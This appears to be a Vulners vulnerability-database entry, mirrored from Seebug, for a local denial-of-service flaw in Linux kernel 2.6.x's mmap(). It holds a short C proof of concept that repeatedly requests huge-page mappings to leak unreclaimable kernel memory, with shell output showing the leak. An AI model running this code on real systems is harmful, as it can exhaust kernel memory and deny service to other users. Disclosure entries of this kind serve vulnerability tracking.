Lucene search
+L

Linux kernel 2.6.x 'mmap()'失败本地拒绝服务漏洞

🗓️ 25 May 2012 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

Linux kernel 2.6.x 'mmap()'本地拒绝服务漏

Code

                                                #include <sys/mman.h>
#include <stdlib.h>
#ifndef MAP_HUGETLB
#define MAP_HUGETLB 0x0040000
#endif
int main() {
    for (int i=0; i!=10000000; ++i) {
        void* ptr=mmap(NULL, 2*1024*1024, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_HUGETLB, 0, 0);
        if (ptr!=MAP_FAILED) abort();
    }
    return 0;
}
-------
g++ -O2 test.cpp && echo good
good
$ egrep 'SUnreclaim|HugePages_Total' /proc/meminfo
SUnreclaim:      1900756 kB
HugePages_Total:       0
$ ./a.out && echo good
good
$ egrep 'SUnreclaim|HugePages_Total' /proc/meminfo
SUnreclaim:      2213268 kB
HugePages_Total:       0
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation